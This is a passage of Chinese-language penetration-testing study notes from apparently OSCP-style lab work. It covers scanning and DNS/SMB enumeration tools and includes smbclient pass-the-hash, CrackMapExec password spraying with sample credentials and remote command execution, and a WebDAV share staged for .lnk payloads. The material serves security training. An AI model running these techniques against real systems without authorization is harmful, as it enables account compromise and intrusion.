SMB發現腳本僅在目標上啟用了SMBv1時才能工作,這在現代Windows版本中不是默認情況。然而,仍然有很多遺留系統運行著SMBv1,我們已經在Windows主機上啟用了這個特定版本,以模擬這種情況。

讓我們在Windows 11客戶端上嘗試smb-os-discovery模塊。

kali@kali:~$ nmap -v -p 139,445 --script smb-os-discovery 192.168.50.152
...
PORT    STATE SERVICE      REASON
139/tcp open  netbios-ssn  syn-ack
445/tcp open  microsoft-ds syn-ack

Host script results:
| smb-os-discovery:
|   OS: Windows 10 Pro 22000 (Windows 10 Pro 6.3)
|   OS CPE: cpe:/o:microsoft:windows_10::-
|   Computer name: client01
|   NetBIOS computer name: CLIENT01\x00
|   Domain name: megacorptwo.com
|   Forest name: megacorptwo.com
|   FQDN: client01.megacorptwo.com
|_  System time: 2022-03-17T11:54:20-07:00
...

 

SNMP 掃描

要掃描開放的SNMP端口,我們可以運行nmap,使用-sU選項進行UDP掃描,並使用--open選項限制輸出,僅顯示已打開的端口。這將幫助我們識別正在運行SNMP服務的設備。

kali@kali:~$ sudo nmap -sU --open -p 161 192.168.50.1-254 -oG open-snmp.txt
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-14 06:02 EDT
Nmap scan report for 192.168.50.151
Host is up (0.10s latency).

PORT    STATE SERVICE
161/udp open  snmp

Nmap done: 1 IP address (1 host up) scanned in 0.49 seconds
...

namp.sh

#!/bin/bash

# 檢查是否提供了 IP 地址作為參數
if [ -z "$1" ]; then
  echo "用法: $0 <target_ip> [output_file]"
  exit 1
fi

TARGET_IP=$1
OUTPUT_FILE=$2

# 執行全端口掃描,將結果保存到臨時文件中
echo "開始全端口掃描目標 $TARGET_IP ..."
sudo nmap -p- $TARGET_IP -oN all_ports_scan.txt

# 提取開放端口
echo "提取開放端口..."
open_ports=$(grep "open" all_ports_scan.txt | awk -F/ '{print $1}' | tr '\n' ',' | sed 's/,$//')

# 檢查是否有開放端口
if [ -z "$open_ports" ]; then
  echo "沒有找到開放端口。"
  rm -f all_ports_scan.txt
  exit 1
fi

echo "開放端口: $open_ports"

# 構建詳細掃描命令
SCAN_COMMAND="sudo nmap -A -p $open_ports $TARGET_IP"

# 執行詳細掃描並處理輸出
if [ -n "$OUTPUT_FILE" ]; then
  echo "開始詳細掃描開放端口 $open_ports,並將結果輸出到 $OUTPUT_FILE ..."
  $SCAN_COMMAND -oN "$OUTPUT_FILE"
else
  echo "開始詳細掃描開放端口 $open_ports ..."
  $SCAN_COMMAND
fi

# 清理臨時文件
rm -f all_ports_scan.txt

echo "掃描完成。"

【PortScan】rustscan

Rustscan (只做udp 掃描)

RustScan 是一個用於快速、輕量級端口掃描的開源工具,使用 Rust 編程語言開發。它的目標是提供快速且高效的端口掃描,同時提供友好的用戶界面和一些有用的功能。以下是一些 RustScan 的主要特點和用途:

  1. 快速的端口掃描RustScan 被設計為快速的端口掃描工具,能夠在短時間內掃描大量端口。

  2. 高效的並行處理:工具使用多線程和並行處理來提高效能,可以充分利用多核處理器,加速掃描速度。

  3. 端口範圍設定:用戶可以指定要掃描的端口範圍,以便針對特定需求進行掃描。

  4. 版本檢測RustScan 可以嘗試識別目標端口上運行的服務的版本信息,這有助於更好地理解目標系統。

  5. 輸出格式選擇:工具允許用戶選擇不同的輸出格式,包括易於閱讀的文本格式和 JSON 格式。

  6. 主機存活檢測:除了端口掃描,RustScan 還可以執行主機存活檢測,以確定目標主機是否可訪問。

  7. 自定義選項:用戶可以使用各種自定義選項來調整掃描行為,以滿足其需求。

RustScan 是一個適用於渗透测试、漏洞探測、安全評估和網絡監視的實用工具。它的速度和效能使其成為許多安全專業人員的首選,並且易於使用,即使是初學者也可以快速上手。使用時應謹慎,確保在合法和授權的範圍內使用,並遵循法律和道德準則。

https://github.com/RustScan/RustScan

#安裝
wget https://github.com/RustScan/RustScan/releases/download/2.0.1/rustscan_2.0.1_amd64.deb
sudo dpkg -i rustscan_2.0.1_amd64.deb 



rustscan -a 192.168.203.151  -u 5000 -t 8000  --scripts none
# -a ip
# -u buffer (thread)
# -t timeout (minisec)

# rustscan + nmap
rustscan -a 192.168.203.151  -u 5000 -t 8000  --scripts -- -n -Pn -sVC
──(kali㉿kali)-[~]
└─$
nmap -n -sn -T4 192.168.202.0/24 -oG - | grep "Up" | awk '{print $2}' | tee ips.txt
192.168.202.6
192.168.202.8

> ports.txt

for i in $(cat ips.txt); do rustscan -a $i -u 5000 -t 5000 -g -- | awk '{gsub("->", ""); gsub("\\[|\\]", ""); print $1,$2}' | tee -a ports.txt ;done
192.168.202.6 22,80
192.168.202.8 22,25

sudo nmap -sS 192.168.202.6 -p22,80 --script http-headers,http-title
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
| http-headers: 
|   Date: Tue, 07 Nov 2023 14:59:11 GMT
|   Server: Apache/2.4.41 (Ubuntu)
|   Last-Modified: Tue, 07 Nov 2023 12:34:33 GMT
|   ETag: "d1-6098f315f9180"
|   Accept-Ranges: bytes
|   Content-Length: 209
|   Vary: Accept-Encoding
|   Connection: close
|   Content-Type: text/html
|   
|_  (Request type: HEAD)
|_http-title: Under Construction


┌──(kali㉿kali)-[~]
└─$ curl http://192.168.202.6/
<html>
        <head>
                <title>Under Construction</title>
        </head>
        <body>
                Flag: OS{e9482a10e325a046a90b76cbf1d4e443}
                This site is still under construction, please come back later.
        </body>
</html>
使用方式: rustscan [標誌] [選項] [-- <命令>...]

標誌: 
--accessible 可訪問模式。關閉對屏幕閱讀器產生不良影響的功能 
-g, --greppable 可grep模式。僅輸出端口信息,不包括Nmap信息。適用於grep或輸出到文件 
-h, --help 顯示幫助信息 
-n, --no-config 是否忽略配置文件 
--top 使用前1000個常見端口 
-V, --version 顯示版本信息

選項: 
-a, --addresses <addresses>... 要掃描的CIDR、IP或主機的逗號分隔列表 
-b, --batch-size <batch-size> 端口掃描的批量大小,它會增加或減慢掃描速度,取決於操作系統的文件打開限制。如果設置為65535,將同時掃描所有端口。
	但是,您的操作系統可能不支持這一點 [默認值:4500] 
-p, --ports <ports>... 要掃描的端口的逗號分隔列表。例如:80,443,8080 
-r, --range <range> 端口範圍,格式為起始-結束。例如:1-1000 
--scan-order <scan-order> 要執行的掃描順序。"serial"選項將按升序掃描端口,而"random"選項將隨機掃描端口 [默認值:serial] [可能的值:Serial、Random] 
--scripts <scripts> 运行所需脚本的级别 [默認值:default] [可能的值:None、Default、Custom] 
-t, --timeout <timeout> 端口被視為關閉之前的超時時間(毫秒) [默認值:1500] 
--tries <tries> 端口被視為關閉之前的嘗試次數。如果設為0,rustscan會將其更正為1 [默認值:1] 
-u, --ulimit <ulimit> 自動提高ULIMIT值,以提供您提供的值

參數: <command>... 要運行的脚本參數。要使用-A參數,請在RustScan的參數末尾使用'-- -A'。
	例如:'rustscan -T 1500 127.0.0.1 -- -A -sC'。
    此命令會自動添加-Pn -vvv -p $PORTS參數到nmap。
    對於像--script '(safe and vuln)' 這樣的參數,請用引號括住 "'(safe and vuln)'"。

【GitHub】Gitrob 和 Gitleaks

  1. Gitrob:

    • Gitrob 是一個用於 GitHub 存儲庫的敏感信息搜索工具。它主要用於尋找在 GitHub 上公開的 Git 存儲庫中可能包含敏感信息的情況,例如金鑰、密碼、API 令牌、配置文件等。
    • Gitrob 掃描 GitHub 存儲庫,並試圖識別潛在的敏感數據,並生成報告,以便安全專業人員或研究人員可以進一步調查和解決問題。
    • Gitrob 的目標是協助用戶發現潛在的安全漏洞,以幫助他們保護他們的數據和數據庫。
  2. Gitleaks:

    • Gitleaks 是一個用於搜索 Git 存儲庫中敏感信息的工具,不僅僅限於 GitHub,它可以用於本地或自己搭建的 Git 存儲庫。這使得 Gitleaks 更通用,可以用於多種情境,包括內部部署和私有存儲庫。
    • Gitleaks 可以配置來檢查存儲庫中的文件,以查找可能包含敏感信息的模式,例如密碼、API 令牌、私鑰等。
    • Gitleaks 提供了靈活的配置選項,以使用戶能夠自定義搜索模式和規則,以滿足他們特定的需求。

總之,Gitrob 專注於 GitHub 存儲庫的敏感信息搜索,而 Gitleaks 更通用,可以用於各種 Git 存儲庫的敏感信息搜索。使用這些工具有助於組織確保他們的 Git 存儲庫不包含敏感信息,從而增強數據的安全性。

以下是如何安裝和使用 Gitrob 和 Gitleaks 的基本步驟:

安裝和使用 Gitrob:

  1. 安裝 Go 語言:首先,確保你已經安裝了 Go 語言。你可以在 https://golang.org/dl/ 下載 Go 的安裝程序。

  2. 安裝 Gitrob:

    go get github.com/michenriksen/gitrob
  3. 使用 Gitrob:

    • 創建一個 GitHub 帳戶存取令牌,並確保具有查看存儲庫的權限。
    • 运行 Gitrob,并提供 GitHub 帳戶令牌和要搜索的組織或用戶名,例如:
      gitrob -t YOUR_GITHUB_TOKEN -o ORGANIZATION_NAME

    Gitrob 會開始掃描指定的組織或用戶的存儲庫,並生成報告,以列出可能的敏感信息。

    安裝和使用 Gitleaks:

    1. 下載 Gitleaks 的執行檔:你可以在 Gitleaks 的 GitHub 存儲庫中下載適合你的操作系統的執行檔。下載地址:https://github.com/zricethezav/gitleaks/releases

    2. 安裝 Gitleaks:

    apt install gitleaks

    在 Unix/Linux 上,你可以使用以下命令安裝 Gitleaks:

      • 在 Windows 上,將執行檔放在一個你喜歡的目錄中,然後確保這個目錄已被添加到系統 PATH。
    1. 使用 Gitleaks:

      • 在終端中,你可以運行 Gitleaks 來掃描 Git 存儲庫。例如:
        gitleaks --repo=https://github.com/organization/repo
      • Gitleaks 也支援配置文件,你可以通過配置文件定義搜索規則。例如:
        gitleaks --config=path/to/config.yml

【DNS】Host

host 存在與否,有不同的回應

# host {domain}
kali@kali:~$ host www.megacorpone.com
www.megacorpone.com has address 149.56.244.87

kali@kali:~$ host idontexist.megacorpone.com
Host idontexist.megacorpone.com not found: 3(NXDOMAIN)

使用 t 查詢不同type

# host -t {type} {domain}
kali@kali:~$ host -t mx megacorpone.com
megacorpone.com mail is handled by 10 fb.mail.gandi.net.
megacorpone.com mail is handled by 20 spool.mail.gandi.net.
megacorpone.com mail is handled by 50 mail.megacorpone.com.
megacorpone.com mail is handled by 60 mail2.megacorpone.com.

kali@kali:~$ host -t txt megacorpone.com
megacorpone.com descriptive text "Try Harder"
megacorpone.com descriptive text "google-site-verification=U7B_b0HNeBtY4qYGQZNsEYXfCJ32hMNV3GtC0wWq5pA"

自動化查詢

kali@kali:~$ cat list.txt
www
ftp
mail
owa
proxy
router
kali@kali:~$ for ip in $(cat list.txt); do host $ip.megacorpone.com; done
www.megacorpone.com has address 149.56.244.87
Host ftp.megacorpone.com not found: 3(NXDOMAIN)
mail.megacorpone.com has address 51.222.169.212
Host owa.megacorpone.com not found: 3(NXDOMAIN)
Host proxy.megacorpone.com not found: 3(NXDOMAIN)
router.megacorpone.com has address 51.222.169.214
kali@kali:~$ for ip in $(seq 200 254); do host 51.222.169.$ip; done | grep -v "not found"
...
208.169.222.51.in-addr.arpa domain name pointer admin.megacorpone.com.
209.169.222.51.in-addr.arpa domain name pointer beta.megacorpone.com.
210.169.222.51.in-addr.arpa domain name pointer fs1.megacorpone.com.
211.169.222.51.in-addr.arpa domain name pointer intranet.megacorpone.com.
212.169.222.51.in-addr.arpa domain name pointer mail.megacorpone.com.
213.169.222.51.in-addr.arpa domain name pointer mail2.megacorpone.com.
214.169.222.51.in-addr.arpa domain name pointer router.megacorpone.com.
215.169.222.51.in-addr.arpa domain name pointer siem.megacorpone.com.
216.169.222.51.in-addr.arpa domain name pointer snmp.megacorpone.com.
217.169.222.51.in-addr.arpa domain name pointer syslog.megacorpone.com.
218.169.222.51.in-addr.arpa domain name pointer support.megacorpone.com.
219.169.222.51.in-addr.arpa domain name pointer test.megacorpone.com.
220.169.222.51.in-addr.arpa domain name pointer vpn.megacorpone.com.
...

 

【DNS】dnsrecon

dnsrecon 是一個用於執行域名系統(DNS)渗透测试和信息收集的工具。它提供了各種功能,用於識別目標域名的 DNS 記錄、發現子域名、枚舉主機名和 IP 地址等。以下是 dnsrecon 工具的一些主要功能和用途:

  1. DNS 紀錄枚舉dnsrecon 可以用於查找目標域名的 DNS 記錄,包括主機 (A) 記錄、郵件 (MX) 記錄、名字伺服器 (NS) 記錄等。這有助於確定目標的 DNS 結構。

  2. 子域名發現:工具可以自動查找目標域名的子域名,這有助於擴大攻擊面,並查找潛在的安全漏洞。

  3. 域名爆破dnsrecon 允許用戶執行域名爆破攻擊,以查找可能存在的域名。這對於測試域名是否可註冊或用於釣魚攻擊很有用。

  4. 反向 DNS查詢:工具可以根據 IP 地址查詢關聯的 DNS 記錄,這有助於確定主機名和 IP 地址之間的對應關係。

  5. 漏洞掃描dnsrecon 可以幫助渗透測試人員發現 DNS 伺服器的漏洞,如開放式遞歸查詢,並提供了有關 DNS 配置的重要信息。

  6. 識別DNS伺服器:工具可以識別給定 IP 地址的 DNS 伺服器,這有助於了解 DNS 基礎設施的配置。

  7. 內容檢索dnsrecon 可用於檢索 DNS 記錄中的內容,如 TXT 記錄或 SRV 記錄。

總之,dnsrecon 是一個有用的工具,尤其適用於渗透测试、漏洞探測和域名信息收集。測試人員和安全專業人員可以使用它來確保其目標的 DNS 結構安全,同時發現潛在的風險和漏洞。然而,在使用該工具進行測試之前,應確保遵循法律和道德準則,並僅針對已經授權的目標域進行操作。

DNSRecon是一個用Python編寫的高級DNS列舉腳本。讓我們使用-d選項指定域名,-t選項指定要執行的列舉類型(在這種情況下是標準掃描),來對megacorpone.com執行dnsrecon。

kali@kali:~$ dnsrecon -d megacorpone.com -t std
[*] std: Performing General Enumeration against: megacorpone.com...
[-] DNSSEC is not configured for megacorpone.com
[*] 	 SOA ns1.megacorpone.com 51.79.37.18
[*] 	 NS ns1.megacorpone.com 51.79.37.18
[*] 	 NS ns3.megacorpone.com 66.70.207.180
[*] 	 NS ns2.megacorpone.com 51.222.39.63
[*] 	 MX mail.megacorpone.com 51.222.169.212
[*] 	 MX spool.mail.gandi.net 217.70.178.1
[*] 	 MX fb.mail.gandi.net 217.70.178.217
[*] 	 MX fb.mail.gandi.net 217.70.178.216
[*] 	 MX fb.mail.gandi.net 217.70.178.215
[*] 	 MX mail2.megacorpone.com 51.222.169.213
[*] 	 TXT megacorpone.com Try Harder
[*] 	 TXT megacorpone.com google-site-verification=U7B_b0HNeBtY4qYGQZNsEYXfCJ32hMNV3GtC0wWq5pA
[*] Enumerating SRV Records
[+] 0 Records Found

根據上面的輸出,我們已成功對megacorpone.com域執行了主要記錄類型的DNS掃描。

現在,讓我們嘗試使用之前為正向查找創建的list.txt文件,來對額外的主機名進行暴力破解。

kali@kali:~$ cat list.txt 
www
ftp
mail
owa
proxy
router

為了執行我們的暴力破解嘗試,我們將使用-d選項來指定域名,-D選項來指定包含潛在子域字符串的文件名,以及-t選項來指定要執行的列舉類型,本例中是brt用於暴力破解

kali@kali:~$ dnsrecon -d megacorpone.com -D ~/list.txt -t brt
[*] Using the dictionary file: /home/kali/list.txt (provided by user)
[*] brt: Performing host and subdomain brute force against megacorpone.com...
[+] 	 A www.megacorpone.com 149.56.244.87
[+] 	 A mail.megacorpone.com 51.222.169.212
[+] 	 A router.megacorpone.com 51.222.169.214
[+] 3 Records Found

 

【DNS】DNSEnum

DNSEnum是另一個流行的DNS列舉工具,可以用來進一步自動化對megacorpone.com域的DNS列舉。我們可以傳遞一些選項給工具,但為了這個示例,我們只會傳遞目標域參數:

kali@kali:~$ dnsenum megacorpone.com
...
dnsenum VERSION:1.2.6

-----   megacorpone.com   -----

...

Brute forcing with /usr/share/dnsenum/dns.txt:
_______________________________________________

admin.megacorpone.com.                   5        IN    A        51.222.169.208
beta.megacorpone.com.                    5        IN    A        51.222.169.209
fs1.megacorpone.com.                     5        IN    A        51.222.169.210
intranet.megacorpone.com.                5        IN    A        51.222.169.211
mail.megacorpone.com.                    5        IN    A        51.222.169.212
mail2.megacorpone.com.                   5        IN    A        51.222.169.213
ns1.megacorpone.com.                     5        IN    A        51.79.37.18
ns2.megacorpone.com.                     5        IN    A        51.222.39.63
ns3.megacorpone.com.                     5        IN    A        66.70.207.180
router.megacorpone.com.                  5        IN    A        51.222.169.214
siem.megacorpone.com.                    5        IN    A        51.222.169.215
snmp.megacorpone.com.                    5        IN    A        51.222.169.216
syslog.megacorpone.com.                  5        IN    A        51.222.169.217
test.megacorpone.com.                    5        IN    A        51.222.169.219
vpn.megacorpone.com.                     5        IN    A        51.222.169.220
www.megacorpone.com.                     5        IN    A        149.56.244.87
www2.megacorpone.com.                    5        IN    A        149.56.244.87


megacorpone.com class C netranges:
___________________________________

 51.79.37.0/24
 51.222.39.0/24
 51.222.169.0/24
 66.70.207.0/24
 149.56.244.0/24


Performing reverse lookup on 1280 ip addresses:
________________________________________________

18.37.79.51.in-addr.arpa.                86400    IN    PTR      ns1.megacorpone.com.
...

【DNS】whois

whois : service tcp/43

image-1698556797698.png

【DNS】nslookup

 

C:\Users\student>nslookup mail.megacorptwo.com
DNS request timed out.
    timeout was 2 seconds.
Server:  UnKnown
Address:  192.168.50.151

Name:    mail.megacorptwo.com
Address:  192.168.50.154

在上面的輸出中,我們查詢了默認的DNS伺服器(192.168.50.151)以解析mail.megacorptwo.com的IP地址,然後DNS伺服器回答為"192.168.50.154"。

與Linux的host命令類似,nslookup可以執行更細粒度的查詢。例如,我們可以查詢特定主機的TXT記錄屬於哪個特定DNS。

# nslookup -type={type} {domain} {dns server}
C:\Users\student>nslookup -type=TXT info.megacorptwo.com 192.168.50.151
Server:  UnKnown
Address:  192.168.50.151

info.megacorptwo.com    text =

        "greetings from the TXT record body"

【SMB】nbtscan

我們可以使用它來查詢NetBIOS名稱服務的有效NetBIOS名稱,並使用-r選項指定UDP端口137作為源端口。

kali@kali:~$ sudo nbtscan -r 192.168.50.0/24
Doing NBT name scan for addresses from 192.168.50.0/24

IP address       NetBIOS Name     Server    User             MAC address
------------------------------------------------------------------------------
192.168.50.124   SAMBA            <server>  SAMBA            00:00:00:00:00:00
192.168.50.134   SAMBAWEB         <server>  SAMBAWEB         00:00:00:00:00:00
...

【SMB】WsgiDAV

們將首先在 Kali 系統上設置一個 WebDAV 共享。我們將使用 WsgiDAV2 作為 WebDAV 伺服器來主持和提供我們的文件。我們可以使用 pip3 來安裝 WsgiDAV。

kali@kali:~$ pip3 install wsgidav           
Defaulting to user installation because normal site-packages is not writeable
Collecting wsgidav
  Downloading WsgiDAV-4.0.1-py3-none-any.whl (171 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 171.3/171.3 KB 1.6 MB/s eta 0:00:00
...  
Successfully installed json5-0.9.6 wsgidav-4.0.1    

安裝好 WsgiDAV 後,我們將建立 /home/kali/webdav 目錄,作為包含我們的 .lnk 文件的 WebDAV 共享目錄。暫時,讓我們在這個目錄中放一個 test.txt 文件。

如果 WsgiDAV 的安裝出現錯誤:externally-managed-environment,我們可以使用虛擬環境3,或者使用 apt 安裝 python3-wsgidav 软件包。在 PEP 6684 中,引入了一項更改,強制使用虛擬環境,以防止通過 pip 安裝導致操作系統中斷的情況。

接下來,我們將從 /home/kali/.local/bin 目錄運行 WsgiDAV。如果通過 apt 安裝了 WsgiDAV,安裝路徑不同,整個課程中應使用 wsgidav 作為啟動伺服器的命令。我們將提供的第一個參數是 --host,它指定要提供的主機。我們將在所有接口上監聽,使用 0.0.0.0。接下來,我們將使用 --port=80 指定監聽端口,並使用 --auth=anonymous 禁用對我們共享的身份驗證。最後,我們將使用 --root /home/kali/webdav/ 設置我們的 WebDAV 共享目錄的根目錄。

kali@kali:~$ mkdir /home/kali/webdav

kali@kali:~$ touch /home/kali/webdav/test.txt

kali@kali:~$ /home/kali/.local/bin/wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali/webdav/
Running without configuration file.
17:41:53.917 - WARNING : App wsgidav.mw.cors.Cors(None).is_disabled() returned True: skipping.
17:41:53.919 - INFO    : WsgiDAV/4.0.1 Python/3.9.10 Linux-5.15.0-kali3-amd64-x86_64-with-glibc2.33
17:41:53.919 - INFO    : Lock manager:      LockManager(LockStorageDict)
17:41:53.919 - INFO    : Property manager:  None
17:41:53.919 - INFO    : Domain controller: SimpleDomainController()
17:41:53.919 - INFO    : Registered DAV providers by route:
17:41:53.919 - INFO    :   - '/:dir_browser': FilesystemProvider for path '/home/kali/.local/lib/python3.9/site-packages/wsgidav/dir_browser/htdocs' (Read-Only) (anonymous)
17:41:53.919 - INFO    :   - '/': FilesystemProvider for path '/home/kali/webdav' (Read-Write) (anonymous)
17:41:53.920 - WARNING : Basic authentication is enabled: It is highly recommended to enable SSL.
17:41:53.920 - WARNING : Share '/' will allow anonymous write access.
17:41:53.920 - WARNING : Share '/:dir_browser' will allow anonymous read access.
17:41:54.348 - INFO    : Running WsgiDAV/4.0.1 Cheroot/8.5.2+ds1 Python 3.9.10
17:41:54.348 - INFO    : Serving on http://0.0.0.0:80 ..

輸出顯示 WebDAV 伺服器現在正在端口80上運行。讓我們通過在瀏覽器中打開 http://127.0.0.1 來確認這一點。

image-1700376859739.png

圖 25 顯示我們成功地瀏覽到了 WebDAV 共享並查看了 test.txt。

【SMB】net view

它列出了屬於特定主機的域、資源和計算機。舉個例子,連接到client01虛擬機,我們可以列出運行在dc01上的所有共享。

C:\Users\student>net view \\dc01 /all
Shared resources at \\dc01

Share name  Type  Used as  Comment

-------------------------------------------------------------------------------
ADMIN$      Disk           Remote Admin
C$          Disk           Default share
IPC$        IPC            Remote IPC
NETLOGON    Disk           Logon server share
SYSVOL      Disk           Logon server share
The command completed successfully.

【SMB】enum4linux


$ enum4linux -a -o 192.168.202.13



=========================================( Target Information )=========================================
                                                                                                                                                                             
Target ........... 192.168.202.13                                                                                                                                            
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ===========================( Enumerating Workgroup/Domain on 192.168.202.13 )===========================
                                                                                                                                                                             
                                                                                                                                                                             
[+] Got domain/workgroup name: WORKGROUP                                                                                                                                     
                                                                                                                                                                             
                                                                                                                                                                             
 ===============================( Nbtstat Information for 192.168.202.13 )===============================
                                                                                                                                                                             
Looking up status of 192.168.202.13                                                                                                                                          
        SAMBA           <00> -         B <ACTIVE>  Workstation Service
        SAMBA           <03> -         B <ACTIVE>  Messenger Service
        SAMBA           <20> -         B <ACTIVE>  File Server Service
        ..__MSBROWSE__. <01> - <GROUP> B <ACTIVE>  Master Browser
        WORKGROUP       <00> - <GROUP> B <ACTIVE>  Domain/Workgroup Name
        WORKGROUP       <1d> -         B <ACTIVE>  Master Browser
        WORKGROUP       <1e> - <GROUP> B <ACTIVE>  Browser Service Elections

        MAC Address = 00-00-00-00-00-00

 ==================================( Session Check on 192.168.202.13 )==================================
                                                                                                                                                                             
                                                                                                                                                                             
[+] Server 192.168.202.13 allows sessions using username '', password ''                                                                                                     
                                                                                                                                                                             
                                                                                                                                                                             
 ===============================( Getting domain SID for 192.168.202.13 )===============================
                                                                                                                                                                             
Domain Name: WORKGROUP                                                                                                                                                       
Domain Sid: (NULL SID)

[+] Can't determine if host is part of domain or part of a workgroup                                                                                                         
                                                                                                                                                                             
                                                                                                                                                                             
 ==================================( OS information on 192.168.202.13 )==================================
                                                                                                                                                                             
                                                                                                                                                                             
[E] Can't get OS info with smbclient                                                                                                                                         
                                                                                                                                                                             
                                                                                                                                                                             
[+] Got OS info for 192.168.202.13 from srvinfo:                                                                                                                             
        SAMBA          Wk Sv PrQ Unx NT SNT samba server (Samba, Ubuntu)                                                                                                     
        platform_id     :       500
        os version      :       6.1
        server type     :       0x809a03


 ======================================( Users on 192.168.202.13 )======================================
                                                                                                                                                                             
Use of uninitialized value $users in print at ./enum4linux.pl line 972.                                                                                                      
Use of uninitialized value $users in pattern match (m//) at ./enum4linux.pl line 975.

Use of uninitialized value $users in print at ./enum4linux.pl line 986.
Use of uninitialized value $users in pattern match (m//) at ./enum4linux.pl line 988.

 ================================( Share Enumeration on 192.168.202.13 )================================
                                                                                                                                                                             
smbXcli_negprot_smb1_done: No compatible protocol selected by server.                                                                                                        

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        files           Disk      Flag: OS{861316807af111601f7db90f63ab6e3d}
        IPC$            IPC       IPC Service (samba server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.
protocol negotiation failed: NT_STATUS_INVALID_NETWORK_RESPONSE
Unable to connect with SMB1 -- no workgroup available

[+] Attempting to map shares on 192.168.202.13                                                                                                                               
                                                                                                                                                                             
//192.168.202.13/print$ Mapping: DENIED Listing: N/A Writing: N/A                                                                                                            
//192.168.202.13/files  Mapping: OK Listing: OK Writing: N/A

[E] Can't understand response:                                                                                                                                               
                                                                                                                                                                             
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*                                                                                                                                   
//192.168.202.13/IPC$   Mapping: N/A Listing: N/A Writing: N/A
root@kali:~# enum4linux -h
enum4linux v0.8.9 ( http :// labs . portcullis . co . uk / application / enum4linux / )
Copyright (C) 2011 Mark Lowe ( mrl@portcullis-security.com )
簡單的封裝了在samba套件中的工具,以提供類似的enum.exe功能(以前從www.bindview.com)。為了方便起見,也增加了一些附加功能,例如RID循環。
用法: ./enum4linux.pl [選項] ip位址
列舉選項:
     -U 取得使用者列表
     -M 取得機器清單*
     -S 取得共享列表
     -P 取得密碼策略訊息
     -G 取得群組和成員列表
     -d 詳述適用於-U和-S
     -u user 使用者指定要使用的使用者名稱(預設"")
     -p pass 指定要使用的密碼(預設為"")
以下選項是enum.exe未實現的: -L, -N, -D, -f
其他選項:
    -a 做所有簡單枚舉(-U -S -G -P -r -o -n -i),如果您沒有提供任何其他選項,請啟用此選項
    -h 顯示此說明訊息並退出
    -r 透過RID循環列舉用戶
    -R range RID範圍要列舉(預設值:500-550,1000-1050,隱含-r)
    -K n 繼續搜尋RID,直到n個連續的RID與使用者名稱不對應,Impies RID範圍結束於999999.對DC有用
    -l 透過LDAP 389 / TCP取得一些(有限的)資訊(僅適用於DN)
    -s 檔案暴力猜測共享名稱
    -k user 遠端系統上存在的使用者(預設值:administrator,guest,krbtgt,domain admins,root,bin,none)
              用於取得sid與“lookupsid known_username”
              使用逗號嘗試幾個用戶:“-k admin,user1,user2”
    -o 取得作業系統資訊
    -i 取得印表機訊息
    -w wrkg 手動指定工作組(通常自動找到)
    -n 做一個nmblookup(類似nbtstat)
    -v 詳細輸出,顯示正在運行的完整命令(net,rpcclient等)
RID循環應從Windows(或Samba)主機中提取一個使用者列表,其中限制匿名設定為1(Windows NT和2000)或啟用「網路存取:允許匿名SID /名稱轉換」(XP,2003)。
注意:Samba伺服器通常似乎有RID在範圍3000-3050。

【SMB】smbclient

 

#  //192.168.203.13/files => share folder
# -c command
smbclient -N //192.168.203.13/files -c “dir”
# 直接登入
smbclient -N //192.168.203.13/files 
-N 匿名 => 匿名沒戲,大概沒戲

##
smbclient -N -L 192.168.203.9 
for ip in $(cat smb_list.txt); do (smbclient -N -L $ip ); done

##
smbclient -L 192.168.201.63 -p 4455 -U {user}%{passwd} -c “dir”
##
smbclient -N //192.168.205.248/transfer -c "recurse; ls" > 123.txt
kali@kali:~$ smbclient \\\\192.168.50.212\\secrets -U Administrator --pw-nt-hash 7a38310ea6f0027ee955abed1762964b
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Thu Jun  2 16:55:37 2022
  ..                                DHS        0  Thu Jun  2 16:55:35 2022
  secrets.txt                         A        4  Thu Jun  2 11:34:47 2022

                4554239 blocks of size 4096. 771633 blocks available

smb: \> get secrets.txt
getting file \secrets.txt of size 4 as secrets.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)

【SMB】【Remote】 CME ( CrackMapExec )

CrackMapExec(簡稱CME)是一個用於自動化測試和渗透測試的開源工具,旨在簡化與Windows環境中的Active Directory(AD)進行交互的過程。它是一個功能強大的渗透測試框架,支持許多不同的攻擊和測試操作。

以下是CME的主要特點和功能:

CME通常由紅隊和渗透測試人員使用,以測試組織的安全性並發現潛在的弱點。使用這類工具需要謹慎,應該遵循合法和道德的原則,並在授權的環境中進行操作。

# 使用pyenv 隔離安裝 crackmapexec
apt-get install -y libssl-dev libffi-dev python-dev build-essential
pip install crackmapexec

crackmapexec在開始密碼噴灑之前不檢查域的密碼策略。因此,我們應該小心使用此方法以避免鎖定用戶帳戶。

PS C:\Users\jeff> net accounts

image-1706444326998.png

# 準備使用者列表
kali@kali:~$ cat users.txt
dave
jen
pete

# 連線列舉
crackmapexec smb ad_list.txt -u  stephanie -p 'LegmanTeamBenzoion!!' —sessions
# 分享目錄列舉
crackmapexec smb ad_list.txt -u  stephanie -p 'LegmanTeamBenzoion!!' —shares
# 使用者列舉
crackmapexec smb ad_list.txt -u  stephanie -p 'LegmanTeamBenzoion!!' —users
# 猜密碼
crackmapexec smb ad_list.txt -u ad_user.txt -p 'LegmanTeamBenzoion!!' --contunue-on-success
crackmapexec smb 192.168.50.75 -u users.txt -p 'Nexus123!' -d corp.com --continue-on-success
crackmapexec smb 192.168.250.0/24 -u pete -p 'Nexus123!' -d corp.com --continue-on-success
# 
crackmapexec wimrm ad_list.txt -u ad_user.txt -p 'LegmanTeamBenzoion!!' -x whoami

找到登入(藍色)

image-1708136630054.png

 

【SNMP】onesixtyone

OneSixtyOne(也稱為onesixty1或161)是一個用於 SNMP(Simple Network Management Protocol,簡單網路管理協議)掃描的命令行工具。SNMP是一個網絡管理協議,通常用於監控和管理網絡設備,如路由器、交換機、伺服器等。OneSixtyOne 的主要功能是嘗試從目標設備中獲取SNMP Community String(SNMP社區字串),這是一個用於訪問SNMP信息的密鑰。

以下是一些有關 OneSixtyOne 的重要信息:

